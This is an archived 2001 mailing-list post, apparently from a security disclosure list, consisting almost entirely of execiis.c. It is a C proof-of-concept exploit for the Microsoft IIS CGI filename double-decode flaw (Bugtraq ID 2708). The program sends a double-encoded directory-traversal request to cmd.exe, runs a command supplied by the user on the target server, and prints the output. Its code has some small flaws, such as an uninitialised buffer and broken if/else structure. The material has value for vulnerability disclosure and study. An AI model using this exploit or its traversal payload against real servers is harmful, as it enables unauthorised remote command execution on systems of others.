IIS Exploit

From: Filip Maertens (filipat_private)
Date: Tue May 15 2001 - 08:11:11 PDT

  • Next message: Andrew Hilborne: "Re: Solaris /usr/bin/mailx exploit (SPARC)"

    /*
     *
     * execiis.c - (c)copyright Filip Maertens
     * BUGTRAQ ID: 2708 - Microsoft IIS CGI Filename Decode Error
     *
     * DISCLAIMER:    This  is  proof of concept code.  This means, this
    code
     * may only be used on approved systems in order to test the
    availability
     * and integrity of machines  during a legal penetration test.  In no
    way
     * is the  author of  this exploit  responsible for the use and result
    of
     * this code.
     *
     */
    
    #include <stdio.h>
    #include <stdlib.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <netinet/in.h>
    #include <unistd.h>
    #include <string.h>
    
    
    /* Modify this value to whichever sequence you want.
     *
     * %255c = %%35c = %%35%63 = %25%35%63 = /
     *
     */
    
    #define SHOWSEQUENCE "/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+"
    
    
    
    int main(int argc, char *argv[])
    {
    
     struct sockaddr_in sin;
     char recvbuffer[1], stuff[200];
     int create_socket;
    
     printf("iisexec.c | Microsoft IIS CGI Filename Decode Error |
    <filipat_private>\n-------------------------------------------------------------------------\n");
    
     if (argc < 3)
     {
      printf(" -- Usage: iisexec [ip] [command]\n");
      exit(0);
     }
    
    
    if (( create_socket = socket(AF_INET,SOCK_STREAM,0)) > 0 )
     printf(" -- Socket created.\n");
    
     sin.sin_family = AF_INET;
     sin.sin_port = htons(80);
     sin.sin_addr.s_addr = inet_addr(argv[1]);
    
    if (connect(create_socket, (struct sockaddr *)&sin,sizeof(sin))==0)
     printf(" -- Connection made.\n");
    else
     { printf(" -- No connection.\n"); exit(1); }
    
    
     strcat(stuff, "GET ");
     strcat(stuff, SHOWSEQUENCE);
     strcat(stuff, argv[2]);
     strcat(stuff, " HTTP/1.0\n\n");
    
     memset(recvbuffer, '\0',sizeof(recvbuffer));
    
     send(create_socket, stuff, sizeof(stuff), 0);
     recv(create_socket, recvbuffer, sizeof (recvbuffer),0);
    
    
    
     if ( ( strstr(recvbuffer,"404") == NULL ) )
    
         printf(" -- Command output:\n\n");
         while(recv(create_socket, recvbuffer, 1, 0) > 0)
       {
         printf("%c", recvbuffer[0]);
       }
    
     else
      printf(" -- Wrong command processing. \n");
    
     close(create_socket);
    
    }
    
    // EOF - More exploits @ http://vorlon.hexyn.be
    



    This archive was generated by hypermail 2b30 : Tue May 15 2001 - 13:06:24 PDT